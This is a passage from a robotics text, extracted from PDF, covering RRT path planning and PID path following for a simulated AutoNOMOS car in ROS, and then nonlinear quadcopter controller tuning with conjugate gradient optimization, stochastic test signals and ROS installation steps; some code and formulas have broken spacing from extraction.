cannot be expressed with negative numbers, whenever goal.x > 0 a flag is activated
(goal_selected_ = true). Therefore, the system is no longer waiting for a point, and
it needs a path to reach the desired point (goal_).

6.7 Planning a Path

Whenever the system is waiting a point or planning a path, a control flag
(state_machine_) has an integer value of 1. When goal_selected_ == true &
state_machine_ == 1, the SkyImage() function executes a subroutine for path
planning. The most important part of this routine is the next function:

vec tor<Point> Skycam::RRT (Mat map_to_analyze , Mat car_map ,
Point goal , i n t beam , f l o a t scale , f l o a t car_pose )

The function is too long to write it down here, but we will mention some details.
As you may notice, the name of the function is RRT ; this is because the function is
using a RRT algorithm as described in Sect. 2. To execute this algorithm, we need
the map of the world (map_to_analyze), a way to locate the vehicle (car_map), the
goal to reach (goal), and the orientation of the vehicle (car_pose). The other two
parameters are just used for performance purposes.

For the scope of this work, the map_to_analyze is gotten as a pixel-wise occupancy
grid defined by a color segmentation strategy, where any red element in the frame is
identified as an obstacle. In a similar way, the car_map is identified by looking for a
green object in the frame; unlike the map_to_analyze, we don’t create an occupancy
grid but get the centroid of the blob corresponding to the car in the frame. To deal
with illumination issues, the frame is first transformed from RGB to the Lab color
space. Once in the Lab space, a threshold is applied on the second channel for binary
color segmentation (either for red or green).

Notice that the RRT function returns a vector of points; however, this points are
defined over the coordinate system defined by the analyzed image, because that is
what our vehicle can understand from the external eye. Nonetheless, inside the func-

15̃/AutoNOMOS_Stardust/AutoNOMOS_simulation/src/skycam/config/config.yaml.
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tion itself the skycam package is publishing these points as 3D points for visualization
in Rviz; the publisher for this task is path3D_.

Once the path is planned there is no more to do in this state and state_machine_

changes its value to 2. However, sometimes it is actually impossible to find a path
given the current conditions of the world; if that is the case, the RRT returns an empty
path and the object_too_close_ flag is activated (object_too_close_ = true). When
the object_too_close_ flag is true, the car will try to move backwards for a few seconds
and the RRT function will be called again; the only way to deactivate the flag is to
find a non-empty path.

If a non-empty path was found, then the system goes into state 2, that is, following
the path (state_machine_ = 2).

6.8 Following a Path

Being in state 2 means we were able to find a valid path, and then we wish to reach
the desired goal following the given path. To this, we implement 2 parallel PID
controllers (a compound one for steering and another one for velocity) as described
in Sect. 2; you can refer to Fig. 11 for a more detailed insight of the control strategy. In
this section, we will just talk briefly about the refinement techniques used to improve
the performance of the system.

Even if the two controllers are able to control position and orientation, we can’t
ignore a key concept as the inertia. If the car is at high speed when reaching the goal,
it will surpass it; if the car tries to turn at high speed, it will most likely lose control.
To work around this, there are two speed restrainers that act over the control law
defined by the PIDs:

Fig. 11 Block diagram describing the overall 3-PIDs control strategy used for path following
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– The most points of the path the vehicle has reached, the lower the speed limit
– The greater the steering angle, the lower the speed limit

Additionally, let’s consider the case where the car surpassed any given checkpoint:
it is clear that it needs to move backwards. However, think of this case: the car is
in front of the desired point, and a bit to the left of the proposed path. The PID for
the steering will conclude that the wheels need to turn to the right, while the PID
for the velocity will conclude that the car needs to move backwards: even if the car
reaches the desired point, it will be facing a totally misaligned direction. To work
around this, the control law obtained from the PID for steering is multiplied by −0.5
anytime the control law obtained from the PID for velocity is <0. In practice, this
showed to give good results.

As such, whenever the AutoNOMOS reaches the goal point with a certain toler-
ance, the process is considered a success. The goal is defined to be (−1,−1) again,
the goal_selected_ flag becomes false and the state_machine_ variable is returned
to 1. However, what happens if the map changes while the vehicle is following its
path?

In this case, the AutoNOMOS uses its on-board laser scan16 to detect new possible
obstacles: if an object in front of it is close, the system compares the current map
with the one used to plan the route. The laser scan detects objects horizontally all
around the car (360◦ with 1◦ resolution; from 0.08 to 6 m with 1 cm resolution17),
but only a portion in front of the car is evaluated; consider this as the field of view of
the vehicle. If the zone evaluated by the scan is considerably different from what it
used to be according to the images, the car stops and it plans a new path to reach the
desired goal. Once the new path is obtained, the AutoNOMOS continues to move
following this new route until it reaches the goal. And, then again, the system returns
to the stand-by state.

7 Conclusions

From the current chapter, the reader was provided with the knowledge to use our
package for autonomous driving using the AutoNOMOS mini model. Particularly,
a parallel use of Gazebo and Rviz along with ROS was used to test a proposed
solution for both tasks of planning and following a path autonomously for semi-
static environments, using an external sensor in the form of an aerial camera (or “eye
in the sky”).

16For this project, the AutoNOMOS has only two embedded sensors: a frontal color camera and
the above mentioned laser scan. From these, the only one used for navigation is the laser, while the
front cam is only used for visualization purposes.
17These specifications can be changed within the model.sdf file corresponding
to the AutoNOMOS model in /̃AutoNOMOS_Stardust/AutoNOMOS_simulation/src/
autonomos_gazebo/models/AutoNOMOS_mini.
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There are many details about the system that are not described in this chapter; for
a deeper understanding, we invite the reader to look carefully at the code provided in
the repository. However, we think that the information provided in this text is enough
not only to use the project but to modify it and extend it. This last task is of particular
interest, since there is much that can be improved. But, either if it is to extend the
work, to create a new solution using our repository as framework, or simply to learn
more tools for using ROS, we expect our work is helpful for you.
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Parametric Optimization for Nonlinear

Quadcopter Control Using Stochastic

Test Signals

Antonio Matus-Vargas, Gustavo Rodriguez-Gomez and Jose

Martinez-Carranza

Abstract A key activity in the deployment of quadcopters is controller tuning. This
research chapter addresses the problem of how to optimize the parameter set of a
controller for a quadcopter. Existing research in iterative controller optimization has
centered on the use of linear models of the process. However, in this research chapter,
we propose a procedure based on conjugate gradient optimization for controller
tuning when the dynamic model is nonlinear and the test signals are stochastic. To
validate the findings, a bipartite ROS application was implemented. The first part
corresponds to the orientation controller of the drone which runs on the onboard
computer. The second part carries out the position controller and runs on a ground
station computer. ROS Indigo Igloo is used for the code of this chapter.

Keywords Unmanned aerial vehicle · Quadcopter · Nonlinear control ·
Numerical optimization

1 Introduction

Aerial robots have many advantages over ground robots when it comes to executing
some tasks, such as goods delivery, surveillance, inspection, and search-and-rescue.
The quadcopter or quadrotor is a popular type of Unmanned Aerial Vehicle (UAV).
It has a simple mechanical structure with the ability to move omnidirectionally by
changing the rotation speeds of its four propellers.
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There has been extensive research about the quadrotor making it an excellent
testbed for control techniques. The general outcome of control techniques are con-
trollers with a set of customizable parameters. Those parameters need to be tuned so
that the closed-loop system describe the desired behavior. For the tunning, optimiza-
tion methods have been applied to reduced models of the process to be controlled,
typically linear. In contrast, this research chapter will explore a procedure for the
optimization of controller parameters considering a nonlinear quadcopter model and
stochastic test signals.

The optimization results are tested using a bipartite ROS application. The first
part corresponds to the orientation controller of the quadcopter which runs on the
onboard computer, an ARM-based Odroid XU4 board [1]. The second part carries
out the position controller and runs on an off-board computer. In terms of control,
the first part is equivalent to the inner loop which is assumed to be sufficiently fast
to follow the required Euler angles and thrust. The second part is referred to as the
outer loop which runs at a lower rate than the inner loop and is in charge of taking
the drone to the desired position.

This chapter is organized as follows:

– First, we present a background section on the system model and the control algo-
rithm.

– Second, we review the mathematical problem and the conjugate gradient method
[2].

– Third, we justify the use of stochastic test signals in the design of controllers.
– Fourth, we describe the ROS package implemented to test the optimized controller.
– Finally, we provide experimental results and conclusions.

2 Background

2.1 Optimization Problem

The dynamics of a system is given by an Initial Value Problem (IVP) of the form

ẋ(t) = f (x(t), u(t), t) x(t0) = x0, (1)

where ẋ = dx/dt , x ∈ R
n is an Euclidean space, u is the control input that belongs

to the vector space U , f is a vector-valued function on R
n × U linear or nonlinear,

and x0 is the initial condition. It is assumed that the initial time t0 and the final time
t f are given. The performance measure of this system over the time interval [t0, t f ]
is assumed to be given by the cost function

J (u) = h(x(t f ), t f ) +
t f

∫

t0

g(x(t), u(t), t) = φ(x(t f , u)), (2)
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where x(t f , u) is the state x at time t f . We can observe that the cost function is a
function of the reached final state and measures the penalty that must be paid due
to the dynamic system’s trajectory. The problem is to find u∗ ∈ U that causes the
system (1) to follow a trajectory x∗ that minimizes the cost function (2), that is

u∗ = arg min
u∈U

J (u), (3)

where the function J is given by (2) and the state variable x satisfies the IVP in (1).
Here we focus in the special case where the space U in which the minimum is sought
is R

m ; a typical element is u = [u1, u2, ..., um]T , where u1, u2, ..., um are a set of
parameters.

The optimization problem is resolved by using the simulation-based methodology:
(a) given a set of control parameters u the physical process (1) is simulated over
[t0, t f ], (b) the functional J is evaluated in the final state reached, (c) an algorithm
is used to find the optimal u. This process is iterative and can be time-consuming.

2.2 Conjugate Gradient Methods

Having posed our mathematical problem, we can proceed to use numerical methods
for optimization. However, since it is more complicated to find the global minimum
of a function, the strategy is to search a local minimizer, a point x∗ which minimizes
J (u) in some neighborhood of x∗.

The basic geometrical idea behind the Conjugate Gradient (CG) [3] is to take steps
that lead “downhill” to a function z(x), x = (x1, x2, . . . , xn)

T ∈ R
n . More precisely,

the CG method starts with an initial guess x0 to construct a sequence x0, x1, . . . , such
that z(x i+1) < z(x i ). The sequence is generated until some convergence criterion is
met. It does not guarantee to find the global optimum.

CG methods are simple and easy to implement. The computational complexity
of these types of algorithms is linear, O(n), whereas the computational complexity
for Newton’s methods per iteration is cubic, O(n3), and for Quasi-Newton methods
is quadratic, O(n2). Likewise, with respect to the memory requirements, Newton-
type methods and Quasi-Newton-type methods require quadratic memory, while
CG-type methods have linear space complexity. Since CG-type methods have linear
computational and space complexity, they are best suited for large problems (n ≥
1000) and may outperform Newton-type or Quasi-Newton-type methods [4, 5].

Among the CG-type methods, the more popular are the Fletcher-Reeves method
(FR-CG), the Polak-Ribière method (PR-CG), and the Polak-Ribière positive method
(PR+). In practice, the PR-CG method performs better than FR-CG [6].

The CG algorithm requires the gradient of the function to be optimized. We
have two alternatives: to provide the analytical gradient or to provide the gradient
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approximated by differences formulas. In general, it is recommended to give the
analytical gradient to reduce the numerical errors and to avoid difficulties to the
unconstrained optimization problem. However, we have noted that the cost function
is evaluated after a computational simulation, and can be impractical or expensive
to compute the analytical gradient.

When using the gradient of the cost function approximated by difference formulas
of first order, we take J = J (k1, . . . , km) and calculate ∂ J/∂k j , j = 1, 2, . . . , m as

∂ J (k)

∂k j

≈ J (k + he j ) − J (k)

h
, (4)

where k = (k1, k2, . . . , km), e j = (0, 0, . . . , 1, 0, . . . , 0) with 1 in the place j–th and
h is a constant greater than zero.

2.3 Control of Multirotors

The general elements of a control loop are the reference (pref , ψref ), the controller,
the plant, and the feedback loop. Here, the main objective is to correct the behavior
of some desired outputs of the plant (p, η). Sensors provide measurements of the
output values, forming the feedback loop. Then, the controller computes a command
(ud , { f, τ }) based on the comparison of the feedback value and the user-defined
reference. Finally, the loop closes when the commands are executed by the actuators
of the plant.

In the context of multi-rotors, the motor-propeller assembly (rotor in short) is
an actuator. The prefix ‘multi’ implies two or more of rotors. Besides the amount,
the topology of multi-rotors varies with the distribution of the rotors. We may also
encounter several configurations of sensors. A sure must-have is the Inertial Measure-
ment Unit (IMU), which is a combination of accelerometers, gyroscopes, and magne-
tometers. The accelerometer detects the current acceleration along three orthogonal
axes, whereas the gyroscope measures the angular velocities about the same axes.
The magnetometer, for its part, measures the surrounding magnetic field. The output
of the three sensors can be fused to obtain some mathematical representation of the
drone orientation in three-dimensional space, also known as attitude.

As a means to control the drone’s position in space, the attitude/inner loop is
enclosed with the position/outer control loop, see Fig. 1. In control engineering,
the scheme with two or more nested control loops is called cascade or hierarchical
control. The reference of the attitude loop is now given by the output of the position
loop, and the user-defined reference enters the position loop. The inner loop can be
thought as the actuator of the outer loop. Several types of sensors have been used for
measuring position, being the Motion Capture (MoCap) and the Global Positioning
System (GPS) among the most widely used.
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Fig. 1 Cascade control scheme for quadcopters

3 Related Work

Researchers have already applied to quadcopters several control techniques [7], for
which a general classification is: linear, nonlinear, and learning-based [8]. Among
the linear control techniques, the Proportional-Integral-Derivative (PID) controller
is one of the most popular. This controller is easy to implement and does not require
a mathematical model of the plant for the tuning of its parameters. For a quadrotor,
the first usual task is to design a controller for the orientation angles. In this case, the
gains of three PID controllers can be adjusted considering a reduced rotational model
[9]. Another approach is to use a cascade control structure in which the inner-loop
controls angular velocities and the outer-loop controls angles [10]. Here, the inner
loop is tuned before the outer loop.

Researchers have proposed methods to tune PID controllers for quadrotors. The
steepest descent and Newton’s methods were applied for tuning a PD controller [11].
Using simulations results, the authors favored the second method. In other work, a
tuning approach based on gradient optimization through a variational system was
presented. This method was first applied to a PD controller and then extended for
a PID controller, considering a reduced quadcopter model that does not describe
movement across the x-y plane. Meta-heuristic techniques have been utilized for
simulated PID tuning, such as Genetic Algorithm (GA), Particle Swarming Opti-
mization, Bacterial Foraging, and Bat Algorithm [12, 13]. Alternatively, Bayesian
optimization can be performed on the real system directly [14]. This strategy takes
into consideration safety, but it requires numerous long attempts to find a possible
optimum.

Variational calculus has allowed the development of the optimal control theory.
This theory provides a framework for determining control signals that will cause a
process to maximize or minimize a performance criterion [15]. The Linear Quadratic
Regulator (LQR) is one kind of optimal control technique, in which the controller
is given by a negative feedback of the system’s states. This approach was used to
obtain vertical position controllers [16]. Three techniques were compared, a PID
tuned to minimize an Integral Time-weighted Absolute Error (ITAE), a classic LQR
controller, and a PID tuned by an LQR loop. It was shown that the ITAE-tuned PID
gave faster results but was not as robust as the LQR. The LQR technique has been
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widely applied to different quadrotor dynamic models and to real-world experiments
[17–19]. However, this approach works with the assumption of a linear system to be
controlled, which impose certain limitations.

In the most related work, the authors proposed to tune a back-stepping like non-
linear controller using a GA [20]. The tuned controller, which was derived with Lya-
punov stability theory, exhibited remarkable performance in simulation, but experi-
ments with a real platform were not reported.

In general, the problem of how to tune a controller so it behaves optimally has
been tackled two main approaches: relying on the properties of the system, such
as stability or linearity [21], or using mathematical optimization. Most of the work
concerned with optimization of controllers for UAVs and Micro Air Vehicles (MAVs)
has concentrated on the tuning of linear controllers. Even though a properly tuned
linear controller like the PID is able to stabilize a MAV, its performance can be
surpassed by a nonlinear controller. Moreover, the literature is lacking in optimization
procedures that use of stochastic test signals, which are generally more realistic. As
far as we are aware, this work is the first to both treat the optimization of a nonlinear
controller for a MAV, as well as considering stochastic test signals.

4 Control Algorithm and Optimization

4.1 Mathematical Model

The position and orientation (pose) of the UAV can be defined by assigning a world-
fixed coordinate system (xW , yW , zW ) and a body-fixed coordinate system (x, y, z),
see Fig. 2. We denote by p ∈ R

3 the origin of the body-fixed coordinates expressed
in the world coordinates. We also denote by R ∈ SO(3) the matrix that when pre-
multiplied by a vector in the body-fixed coordinates yields the same vector expressed
in the world coordinates. Moreover, we denote by η = (φ, θ,ψ)T the vector of Euler
angles (roll, pitch, and yaw). The angular velocity in the body frame is denoted by
ω ∈ R

3, and the relationship between the angular velocity and the vector of Euler
angles rates is encoded by B ∈ R

3×3. The nonlinear model of the quadcopter can be
derived using the Newton-Euler equations or the Euler-Lagrange formalism [22–25].
The simplified model is

m p̈ = R F − W + k̄u

η̇ = B ω

I ω̇ = τ − ω × Iω + k̄τ

, (5)

where m ∈ R and I ∈ R
3×3 specify the mass and the inertia matrix of the drone,

W is the weight vector, F and τ define the thrust and torque vectors generated by
the rotors, and the variables k̄u and k̄τ elements of R

3 are constant disturbances in
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Fig. 2 Coordinate frames definition

the translational and orientation parts of the model. The explicit forms of the thrust,
torque, and weight vectors are given as follows:

F =

⎛

⎝

0
0
f

⎞

⎠ , τ =

⎛

⎝

τφ

τθ

τψ

⎞

⎠ , W =

⎛

⎝

0
0

mg

⎞

⎠ . (6)

The rotation matrix R is obtained from the fact that three coordinate rotations in
sequence can describe any rotation. Selecting the order yaw-pitch-roll, the rotation
matrix has the following expression:

R(φ, θ,ψ) =

⎛

⎝

cψcθ cψsθsφ − sψcφ sψsφ + cψsθcφ

sψcθ cψcφ + sψsθsφ sψsθcφ − cψsφ

−sθ cθsφ cθcφ

⎞

⎠ , (7)

where s• and c• indicate cos(·) and sin(·) respectively. Consequently, the matrix B

has the following form [26]:

B(φ, θ,ψ) =

⎛

⎝

1 sφ tan θ cφ tan θ

0 cφ −sφ

0 sφ/cθ cφ/cθ

⎞

⎠ .

The nonlinear model (5) along with the back-stepping technique [27] are used to
design a control algorithm [28]. The control algorithm is divided in two stages, the
first one handles the position and the second one handles the orientation.

Though the optimization will not use the motor model, its details are needed for
the implementation of what is called the motor mixer, in essence, the input matrix
[29]. Let T1, . . . , T4 be the thrust generated by each rotor and according to Fig. 2,
then
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⎛

⎜

⎜

⎝

f

τφ

τθ

τψ

⎞

⎟

⎟

⎠

=

⎛

⎜

⎜

⎝

1 1 1 1
−ℓ/

√
2 ℓ/

√
2 ℓ/

√
2 −ℓ/

√
2

−ℓ/
√

2 −ℓ/
√

2 ℓ/
√

2 ℓ/
√

2
−cM cM −cM cM

⎞

⎟

⎟

⎠

⎛

⎜

⎜

⎝

T1

T2

T3

T4

⎞

⎟

⎟

⎠

, (8)

in which ℓ ∈ R denotes the distance from the center of mass to the center of
each rotor in the xy-plane, and cM ∈ R denotes the propeller coefficient of drag
[30]. Furthermore, the relationship between the pulse-width modulated signals
w1, . . . , w4 ∈ [1000, 2000] µs sent to the Electronic Speed Controllers (ESCs) and
the thrust produced by the motors are obtained by fitting second order polynomials
of the form:

Ti = aiw
2
i + biwi + ci . (9)

where a, b, and c are obtained from empirical data measured on a thrust stand. In
general, each rotor i produces a thrust proportional to the squared rotor turn rate,
Ti = cT,iΩ

2
i , where the thrust constant cT,i may vary depending on the individual

propeller efficiency. In addition, each rotor produces a torque about its own axis of
rotation, which is also proportional to the squared motor turn rate by constants cM,i ,
Mi = cM,iΩ

2
i . These turn rate relations hold when combining (8) and (9) with the

assumption that the propellers share the same constant cM .

4.2 Position Control Algorithm

To design the position algorithm, we assume that the orientation algorithm is fast
enough so that the position of the UAV converges to the reference. The position error
is defined as:

ep = p − pref =⇒ ėp = ṗ − ṗref , (10)

with pref as the desired position (reference). Then, the position control action is
designed to be:

ud = −k̂u + m
[

p̈ref − (K p + Kv)ėp − (1 + Kv K p)ep

]

, (11)

where k̂u is the estimate of k̄u . As a part of the design process, we can define the
velocity error as:

ev = ėp + K pep.

Therefore, the dynamics of the disturbance’s estimation is given by the following
expression:
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˙̂
ku = γu

m
ev.

The matrices K p, Kv , and γu are positive diagonal and are used for tuning the
position control algorithm. With this form, it can be shown that

V̇Lp = −K p < ep, ep > −Kv < ev, ev > ≤ 0, ∀t ≥ 0,

where VLp is a Lyapunov function and < ·, · > stands for the inner vectorial product.
That is, the origin system (10) (in essence, ep = ėp = 0) is stabilized by the virtual
control in (11).

4.3 Attitude Control Algorithm

In the case of no external disturbance, the global force moving the vehicle is u =
(ux , u y, uz)

T = R(φref , θref ,ψ)Fref − W . Then, it is possible to obtain the reference
values θref , φref , and fref :

θref = arctan

(

u ysψ + ux cψ

uz + mg

)

, (12)

φref = arctan

(

cθref

ux sψ − u ycψ

uz + mg

)

, (13)

fref = uz + mg

cθref cφref

. (14)

When u = ud , the reference values obtained from (12)–(14) are the ones needed
to generate the virtual control (11). The remaining reference, ψref , can be chosen
arbitrarily or conveniently. Now, the Euler angles error is defined as:

eη = η − ηref =⇒ ėη = η̇ − η̇ref = B ω − η̇ref . (15)

Using this definition, the attitude control action is designed to be:

τ = −k̂τ + ω × Iω+I
[

B−1η̈re f − B−1 Ḃωd

− (B−1 Kη + Kω B−1)ėη − (B−1 + Kω B−1 Kη)eη

]

,
(16)

with k̂τ as the estimate of the constant disturbance in the attitude model. Let us define
the angular velocity error as follows:

eω = B−1(ėη + Kηeη).
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Thus, the dynamics of the disturbance estimate is chosen to be as the expression
herein: ˙̂

kτ = γτ I −1eω.

The variables Kη, Kω , and γτ are positive diagonal matrices which are used for tuning
the attitude control algorithm. With this form, it can be demonstrated that:

V̇Lη = −Kη < eη, eη > −Kω < eω, eω > ≤ 0, ∀t ≥ 0,

where VLη is a Lyapunov function. This means that the origin of the system (15)
(basically, eη = ėη = 0) is stabilized by the control in (16).

4.4 Cost Function

The general form of the cost function, also referred to as the performance measure,
was described in (2). In order to evaluate the performance of a system quantitatively,
the designer must select a particular form of the performance measure. In classi-
cal control design techniques, typical performance criteria are system time response
to step input characterized by rise time, settling time, overshoot, and steady-state
accuracy; and the frequency response of the system characterized by gain and phase
margins, and bandwidth. In optimal control, the performance measure is a mathe-
matical expression that is wanted to be extremized by the control. In certain cases,
the problem statement clearly indicates what to select for a performance measure,
whereas in others the selection is subjective.

Table 1 provides a summary of some typical control problems along with the
mathematical expressions for the cost function associated with those problems. To
clarify the notation of the table, the function ‖·‖2

H is the squared norm weighted with
a matrix H , that is:

‖x − r‖2
H = (x − r)T H(x − r)

Recalling the optimization problem in Sect. 2.1, the main objective is to optimize the
parameters of the position and attitude control algorithms. Inspired by the information
in this section, the custom cost function chosen to achieve the main objective is given
below:

J =
∫ t f

t0

{

‖p(t) − pref‖2
E + ‖η(t) − ηref‖2

E

+ r
[

Tr(K T
p K p + K T

v Kv + γT
u γu

+ K T
η Kη + K T

ω Kω + γT
τ γτ )

]

}

dt, (17)
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Table 1 Summary of typical control problems and cost functions [15, 31]

Problem Cost function

Minimum-time: To transfer a system from an
arbitrary initial state to a specified final state in
minimum time

J =
∫ t f

t0

dt = t f − t0

Terminal control: To minimize the deviation of
the final state of a system , x(t f ), from its
desired value, r(t f )

J =
∥

∥x(t f ) − r(t f )
∥

∥

2
H

Minimum-control-effort: To transfer a system
from an arbitrary initial state to a specified final
state with minimum expenditure of control
effort

J =
∫ t f

t0

m
∑

i=1

βi |ui (t)|dt

J =
∫ t f

t0

‖u(t)‖2
R dt

Tracking: To maintain the system state, x(t), as
close to the desired state, r(t), in the interval
[t0, t f ]

J =
∥

∥x(t f ) − r(t f )
∥

∥

2
H

+
∫ t f

t0

(

‖x(t) − r(t)‖2
Q(t) + ‖u(t)‖2

R(t)

)

dt

with E as the (3 × 3) identity matrix, r as a scalar, and Tr(·) as the trace of a matrix.
When minimizing (17), the weight r expresses a preference for the parameters to
have smaller squared L2 norm. The value of r is chosen ahead of time and controls
the strength of our preference for smaller parameters. When r = 0, we impose no
preference, and larger r forces the parameters to become smaller.

The terminal cost part of the performance measure, h(x(t f ), t f ), was deemed not
necessary since the control algorithm described in Sects. 4.2–4.3 guarantee that the
errors eventually converge to zero.

4.5 Stochastic Test Signals

Common performance specifications, such as overshoot, settling time and rise time,
are given in terms of step response characteristics. Though step inputs are quite useful
as test signals, stochastic test signals offer some advantages over the step. They allow
the consideration of multi-input systems and are generally more realistic since few
systems operate with strictly deterministic signals.

The model for generating stochastic test signals consists of a random number
generator followed by a hold whose output is fed to a linear filter. This consideration
ensures that the majority of the test signal power lies within the passband of the system
under consideration. Limiting the bandwidth of the stochastic signals applied to a
system also helps to not upset the integration method used to calculate the system
response [32].
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For simplicity, first- and second-order filters were chosen of the form

W1(s) = a0

s + a0

W2(s) = ω2
n

s2 + 2ξωns + ω2
n

, (18)

where W1(s) has a cutoff frequency of a0, and W2(s) has a cutoff frequency of ωn

with a damping factor ξ. Additionally, the variance of the test signal using these two
filters is given by

σ1 = a0

2
σ2

RN h

σ2 = ωn

2ξ
σ2

RN h
, (19)

where σRN is the variance of the numbers produced by the random generator, and
h is the period of the generator. Please note that the amplitude characteristic and
the frequency bandwidth of the stochastic test signal can be selected as desired by
controlling the probability distribution of the generator and the transfer function. We
want to use a second-order flat filter for signals exciting the plant, which means that
the the damping factor must be fixed to ξ = 1/

√
2; the corner frequency ωn must

fall within the passband of the plant. We use the first-order filter for disturbances in
variables that are perturbed in real life, with a flat spectrum in the passband of the
signal exciting the plant, that is, a0 > ωn .

In general, the form of the performance measure when a stochastic test input is
the same as the one where a deterministic input is used. However, the time interval
must be selected adequately. Consider that the performance measure has the general
reduced form below:

J =
∫ t f

t0

[y(t) − r(t)]2 dt =
∫ t f

t0

e(t)2dt. (20)

Minimizing (20) is equivalent to minimize the following:

J = 1

t f − t0

∫ t f

t0

e(t)2dt,

which is the mean square value of error. Moreover, when dealing with a stationary
ergodic process we have

lim
(t f −t0)→∞

J = E[e2] = expected value of e2. (21)

From (21) we have that minimizing criterion (20) is equivalent to minimize the
ensemble average of squared error when the simulation interval [t0, t f ] is large
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Fig. 3 Simulation diagram for a quadcopter with torque disturbance

enough. This means that (t f − t0) must be chosen long enough so that the solu-
tion of the optimization problem with one stochastic test signal from the generator,
previously described, is sufficient to optimize the system response for all signals
from the generator.

In particular, one vector of stochastic test signals r(t) ∈ R
3 is introduced in the

optimization process. Also, a vector of torque disturbances d(t) ∈ R
3 is added to the

vehicle dynamics, see Fig. 3.

5 Simulation Results

Testing control algorithms in computer simulations before being implemented in
experimental platforms is always a good practice. This section will provide simula-
tion results in order to make relevant comparisons. First, a qualitative comparison
is made between the behavior of an optimized PID and the behavior of an opti-
mized back-stepping controller. Then, the results of the optimization process with
and without stochastic test signals are compared. Concluding remarks are given at
the end.

The PID is a linear controller that has been applied to nonlinear systems, such as
rotor-crafts. The PID controller is easy to implement and its gains can be adjusted
heuristically. However, the fine tuning of this controller is not an easy task when
the plant is nonlinear. There are several methods for selecting the gains of the PID
for nonlinear systems. For instance, an optimization procedure with deterministic
signals was applied in [33]. Given the benefits of the PID, why would anyone bother
to implement a more complicated controller? The answer to this question is given
here.

The optimization procedure without using stochastic signals was applied to the
PID controller and to the back-stepping controller. The same position-attitude tran-
sitioning (14) was used for a cascade PID control scheme. Initial conditions and
references were the same for both controllers.The UAV parameters are given in
Table 2. Figure 4 show the simulation results. Qualitatively, the optimization proce-
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Table 2 Simulation parameters

Symbol Value Description

m 0.9 kg Vehicle mass

Ix 0.1167 kg·m2 Moment of inertia about the x-axis

Iy 0.1105 kg·m2 Moment of inertia about the y-axis

Iz 0.2218 kg·m2 Moment of inertia about the z-axis

ℓ 0.2275 m Arm length of the quadcopter

g 9.81 m/s2 Gravity acceleration

Fig. 4 Performance of tuned controllers with deterministic signals: PID (left), back-stepping (right)

dure yielded better results with the back-stepping technique. This outcome can be
explained as follows. The back-stepping controller linearizes the closed-loop system
which in turns makes the cost function hyper-surface simpler compared to the PID
hyper-surface. For this reason, the remainder of this section is carried out with the
nonlinear controller.

As for the inclusion of the stochastic signals, Fig. 5 displays the step response of the
back-stepping controller optimized with stochastic signals. The stochastic test vector
is obtained by filtering the signal of three normally distributed number generators
of zero mean and σ2

RN = 3, with a second-order filter, ξ = 1/
√

2 and ωn = 0.2.
In the same manner, the disturbance vector is obtained by filtering the signal of
three normally distributed generators of zero mean and σ2

RN = 0.1, with a first-order
filter, a0 = 1. The simulation step was set to h = 0.02 and the simulation interval to
(t f − t0) = 10. Qualitatively, the response is enhanced since the oscillations and the
overshoot are reduced. The gains found for this system are different from the ones
found without stochastic signals; the gains obtained using stochastic signals are, on
average, higher than the ones obtained with deterministic inputs, as shown in Table 3.
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Fig. 5 Performance of the
back-stepping controller
tuned with stochastic test
signals

Table 3 Optimization results
with deterministic and
stochastic test signals

Symbol Deterministic Stochastic

kp1 1.6197 1.6532

kp2 1.6398 1.5982

kp3 2.5627 2.5763

kv1 1.6044 1.6532

kv2 1.6385 1.5982

kv3 2.5643 2.5763

kη1 5.3887 5.3904

kη2 5.3491 5.4973

kη3 0.5017 1.0129

kω1 5.3834 5.3838

kω2 5.3960 5.4920

kω3 0.3977 0.7826

To conclude this section, we remark two main observations. First, we have
observed that the proposed optimization algorithm works better with the back-
stepping controller since it simplifies the closed-loop system. Finally, we have pro-
vided evidence that the usage of stochastic test signals offers an improvement in the
optimization process.
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6 Optimized Controller in ROS

6.1 Repository Overview

This section describes our open-source repository of ROS-based back-stepping con-
troller for quadcopters (https://github.com/AMatusV/bstep_qc). The repository pro-
vides the following objects: (i) the position controller, (ii) the attitude controller,
(iii) the motor mixer, (iv) a set-point node, (v) an emergency stop, and (vi) the IMU
communication program.

The repository structure is composed by the following directories:

– controller: This is the ROS package that provides the position and attitude con-
trollers, the motor mixer, and the set-point node.

– keyboard: This is a ROS package that stores a keyboard driver which is used as
the emergency stop [34].

– lpms: This is a ROS package providing a communication program for a specific
IMU sensor.

– lpsensor: This directory stores the installation files a Debian package software
[35] needed by the package of the IMU.

– matlab: This directory provides the MATLAB files for obtaining the optimization
results.

– vicon_bridge: This is a ROS package of a driver providing data from Vicon motion
capture systems [36].

The next section discuss how to install and use the packages of our repository. For
that, the reader must use Ubuntu 14.04 LTS Operating System (OS) with the following
software installed: ROS Indigo Igloo, catkin, cmake, and MATLAB R2015a. All
packages, except for the vicon_bridge package, can be compiled with ROS Kinetic
Kame. In fact, we have installed Ubuntu 16.04 with ROS Kinetic Kame on the
onboard computer.

6.2 Installing Packages

Assuming one is running Ubuntu Linux OS, the steps are listed below.

1. Create a directory under your home directory and initialize the catkin workspace.

mkdir -p ~/ catkin_ws/src
cd ~/ catkin_ws/
catkin_make

2. Once the catkin workspace has been initialized, the reader can either download or
clone the repository (the link is given below). If the repository is downloaded, the
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zip file must be uncompressed in the ~/catkin_ws/src directory. To clone
the repository execute the following commands:

cd ~/ catkin_ws/src
git clone https :// github.com/AMatusV/bstep_qc

3. Install needed dependencies, by typing in the terminal:

sudo apt -get install libbluetooth -dev
cd ~/ catkin_ws/src/lpsensor
sudo dpkg -i liblpsensor -1.3.5 - Linux.deb
dpkg -L liblpsensor

4. Compile the catkin workspace:

cd ~/ catkin_ws
catkin_make

If the repository is copied into a workspace with other packages, use the following
option to compile only the new packages:

catkin_make --pkg controller keyboard lpms
vicon_bridge

5. The user must run the source command on the setup.sh file at least once in
the shell session, and then execute the package applications.

source ~/ catkin_ws/devel/setup.sh

To execute the ground station side (in essence, set-point, emergency stop, and
position controller) run the following:

roslaunch controller ground_station.launch

In order to avoid error messages in the compilation process on the onboard com-
puter, you might need to remove the vicon_bridge package or compile the other
packages as in the last line of Step 4. The onboard side (essentially, IMU communi-
cation, attitude controller, and motor mixer) is executed with:

roslaunch controller onboard.launch

To configure ROS for running in multiple machines, the reader is referred to the
tutorial in [37].
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Fig. 6 ROS computation graph of the system

6.3 Implementation Details

An overview of the nodes and topics communication of our system is given in Fig. 6.
With the set-point node, we are able to change the high-level references, in essence,

the position in the inertial frame and the yaw angle. In particular, we can modify four
numbers, three for the position and one for the angle. This node uses a custom
message type called FloatList, which defines an array of floats. Additionally,
we enabled the dynamic reconfigure server for this node using the definitions in
